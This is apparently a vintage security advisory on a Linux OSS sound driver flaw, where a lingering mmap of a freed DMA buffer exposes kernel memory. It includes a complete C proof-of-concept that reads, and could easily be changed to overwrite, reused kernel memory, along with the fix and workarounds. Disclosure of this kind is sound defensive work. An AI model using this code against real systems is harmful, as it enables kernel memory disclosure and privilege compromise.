COMMAND

    Linux Sound driver ("OSS free")

SYSTEMS AFFECTED

    Linux

PROBLEM

    Thomas Sailer found following.  Applications can map sound  driver
    DMA memory  into their  address space  (http://www.4front-tech.com
    for API documentation). When the application closes the audio  fd,
    it still has the mapping to the DMA buffer.  It can now  interfere
    with other apps playing/recording audio.  (i.e. the driver  should
    prevent opening  the sound  driver again  while another  app holds
    mappings open to  it).  But  there's a more  serious problem: even
    though the mapping still exists, the reference count of the  sound
    module has dropped to 0, thus allowing it to be removed either  by
    explicit rmmod or by kerneld.  The sound driver then frees the DMA
    buffer memory, but the application  still has the mapping to  that
    memory.   But since  the memory  is now  considered free,  nothing
    prevents  it  from  being  reused  for  an  arbitrary  kernel data
    structure.  That way, the application can overwrite kernel memory.
    There is no data if commercial OSS is affected too.

    Below is a simple test case to illustrate the problem.  It doesn't
    do any harm in the form appended, but can be easily modified to do
    so.

    /*
     * bug test for OSS
     * written by Thomas Sailer, sailer@ife.ee.ethz.ch
     */

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/mman.h>
    #include <sys/ioctl.h>
    #include <sys/soundcard.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>

    static int checksound()
    {
            int fd;
            char buf[8192];
            char *cp;
            int i;

            if ((fd = open("/proc/modules", O_RDONLY)) == -1) {
                    perror("open: /proc/modules");
                    exit(1);
            }
            i = read(fd, buf, sizeof(buf)-1);
            if (i < 0) {
                    perror("read");
                    close(fd);
                    exit(1);
            }
            close(fd);
            buf[i] = 0;
            cp = strtok(buf, "\n");
            while (cp) {
                    if (strncmp(cp, "sound", 5)) {
                            cp = strtok(NULL, "\n");
                            continue;
                    }
                    return strstr(cp, "(autoclean)") ? 1 : -1;
            }
            return 0;
    }

    int main(int argc, char *argv[])
    {
            int soundfd, i;
            audio_buf_info info;
            unsigned char *audiobuf;
            unsigned int audiosize;

            if ((soundfd = open("/dev/dsp", O_RDWR)) == -1) {
                    perror("open: /dev/dsp");
                    exit(1);
            }
            i = checksound();
            if (i == -1)
                    fprintf(stderr, "warning: module sound not autoclean, remove by hand\n");
            if (!i) {
                    fprintf(stderr, "module sound not found\n");
                    exit(1);
            }
            /* getting audio info and mmapping audio stuff */
            if (ioctl(soundfd, SNDCTL_DSP_GETOSPACE, &info)) {
                    perror("ioctl: SNDCTL_DSP_GETOSPACE");
                    exit(1);
            }
            audiosize = info.fragstotal * info.fragsize;
            if ((audiobuf = mmap(NULL, audiosize, PROT_READ, MAP_SHARED, soundfd, 0))
                == MAP_FAILED) {
                    perror("mmap");
                    exit(1);
            }
    //      memset(audiobuf, 0, audiosize);
            close(soundfd);
            printf("Sound buffer address %p size %#x\n", audiobuf, audiosize);
            printf("The dirty deed is prepared, waiting for sound to unload\n");
            while (checksound()) {
                    sleep(5);
                    fputc('.', stdout);
                    fflush(stdout);
            }
            printf("\nOk, sound unloaded, now make some system activity\n");
            sleep(10);
            printf("Memory dump:");
            for (i = 0; i < audiosize; i++) {
                    if (!(i & 15))
                            printf("\n%06x  ", i);
                    printf(" %02x", audiobuf[i]);
            }
            exit(0);
    }

SOLUTION

    This has been fixed in Linux Kernel 2.1.89.  Workaround is  either
    not  to  allow  untrusted  users  access  to  the sound device (by
    setting  permission  on  /etc/dsp*  accordingly),  or don't demand
    load sound by kerneld, that  is either compile it statically  into
    the kernel or load it manually by modprobe.